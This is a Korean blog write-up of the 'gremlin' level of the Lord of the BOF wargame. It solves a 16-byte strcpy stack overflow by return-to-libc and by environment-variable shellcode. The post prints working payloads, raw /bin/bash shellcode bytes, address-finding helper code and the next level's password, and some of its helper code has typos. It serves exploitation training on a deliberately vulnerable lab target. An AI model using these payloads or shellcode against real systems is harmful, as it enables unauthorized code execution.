DongDD's IT

[LOB] Level2 gremlin 본문

Wargame/LOB

[LOB] Level2 gremlin

DongDD 2018. 1. 11. 17:42

[LOB] Level2 gremlin


Problem



1번 문제를 해결하고 얻은 아이디와 password를 통해 2번 문제 계정으로 들어갔다. 2번 문제 gremlin도 1번 문제 gate와 마찬가지로 cobolt라는 실행파일과 cobolt.c 소스코드가 있었다. cobolt라는 계정이 다음 Level 계정인 듯 했다.

일단 소스 코드를 먼저 확인해보았다.


1
2
3
4
5
6
7
8
9
10
11
int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2) {
        printf(“argv error\n”);
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf(“%s\n”, buffer);
}
 
cs


1번 문제와 같은 형태로 되어 있는 소스 코드였다. 그러나 Buffer의 크기가 256 bytes였던 gate 문제와 달리 gremlin 문제에서는 16 bytes로 줄여져 있었다. gate 문제에서 사용했던 33 bytes의 Shell code를 그대로 사용하면 안될 것 같이 보였다.

RTL을 사용할 수 있는 지 확인하기 위해 ldd를 통해 ASLR을 검사해보았더니 이 문제도 마찬가지로 ASLR이 걸려있지 않았다. 1번 문제와 같게 RTL로 해결할 수 있을 것 같았다.


Solution


문제를 RTL로 해결하고 나서 Shell code 활용 방식에 대해 생각해보았고 다른 방법으로도 해결할 수 있었다.


1. Return To Library(RTL) 기법을 활용한 해결



먼저 cobolt 실행 파일을 gdb를 통해 분석할 수 없기 때문에 cobolt 파일을 동일한 파일 길이를 가진 다른 이름의 파일로 복사해 소유권을 얻어 gdb를 통해 분석해보았다.

RTL을 사용하기 위해 먼저 main에 break를 걸고 system 함수의 주소를 알아냈다.

system 함수 : 0x40058ae0



그 이후에 Library내에 존재하는 "/bin/sh"를 찾기 위해 저번 문제에서 사용했던 코드를 이용하여 "/bin/sh"의 주소를 알아낼 수 있었다.


1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
 
int main(int argc, char *argv[]) {
    int sys = 0x4005ae0;
    char buf[256= "/bin/sh";
    while(memcmp((void *)sys, buf, strlen(buf) + 1) {
        sys++;
    }
    printf("%p\n",sys);
}
 
cs


위 코드를 통해 "/bin/sh"의 주소를 알아낼 수 있었다.

"/bin/sh"의 주소 : 0x400fbff9


알아낸 system 함수 주소와 "/bin/sh"의 주소, buffer의 크기를 활용해 payload를 작성하였다.


Payload = dummy(20 bytes, buffer의 크기+SFP) + ret(system 함수의 주소) + dummy(4 bytes) + arg("/bin/sh"의 주소)


위 payload를 각각 채워넣고 bash2를 실행시켜 cobolt에 payload를 넣고 실행시키니 문제를 통과할 수 있었다.



2. Shell code 삽입을 위한 환경 변수 이용


Shell code를 그냥 이용하기에는 buffer의 크기가 너무 작아 buffer에 담을 수 없었다.

이것을 해결하기 위해 shell code를 환경 변수에 넣어주고 생성한 환경 변수의 주소 값을 return address에 넣어주면 shell code가 저장된 환경 변수가 시작될 것이다.


먼저 환경 변수에 shell code를 넣었다.



환경 변수 a에 shell code를 넣었다. 처음에 환경 변수에 그냥 복사해서 붙여넣었더니 문자열로 인식해 제대로 저장되지 않았다. 그래서 python을 통해 넣고 export를 통해 확인해보니 제대로 들어간 것을 볼 수 있었다.


/bin/bash 쉘코드(33bytes) : \x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80


그 후에 저장된 환경 변수의 주소를 알아내기 위해 프로그램을 작성하여 사용했다.


1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
 
int main(int argc, char *argv[])
{
    char *addr;
    addr = getenv(argv[1]);
    pritnf(“%p\n”,addr);
}    
 
cs


getenv함수를 통해 저장했던 a의 환경 변수 주소를 알아왔다.

환경 변수 a의 주소 : 0xbfffff20


이렇게 알아온 환경 변수의 주소를 이용해 payload를 작성할 수 있었다.

하지만 문제를 해결할 수 없었다. 이유를 찾다보니 파일 명의 길이에 따라 환경 변수가 저장되는 주소가 변경될 수 있다는 것을 알게 되었고 a.out으로 그냥 만들어놨던 파일을 cobolt 파일의 길이 6을 맞추기 위해 이름을 바꾸고 실행해보니 다른 환경변수의 주소가 나오는 것을 볼 수 있었다.


환경 변수 a의 주소 : 0xbfffff1e


Payload = dummy(20 bytes, buffer의 크기+SFP) + ret(환경 변수의 주소)


이렇게 알아낸 환경 변수의 주소를 이용해 payload를 작성하니 문제에 통과할 수 있었다.








**************     Answer & Flag     **************


1. RTL 기법 이용


Payload

dummy(20) + ret(system 함수 주소) + dummy(4) + arg("/bin/sh"의 주소)

"a"*20+ "\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"




2. 환경 변수 shell code 이용


Payload : 

dummy(20) + ret(환경 변수 주소)

"a"*20+ "\x1e\xff\xff\xbf"




Next ID : cobolt

Next Password : hacking exposed


'Wargame > LOB' 카테고리의 다른 글

[LOB] Level6 wolfman  (0) 2018.01.19
[LOB] Level5 orc  (0) 2018.01.18
[LOB] Level4 goblin  (0) 2018.01.17
[LOB] Level3 cobolt  (0) 2018.01.16
[LOB] Level1 gate  (0) 2018.01.09
Comments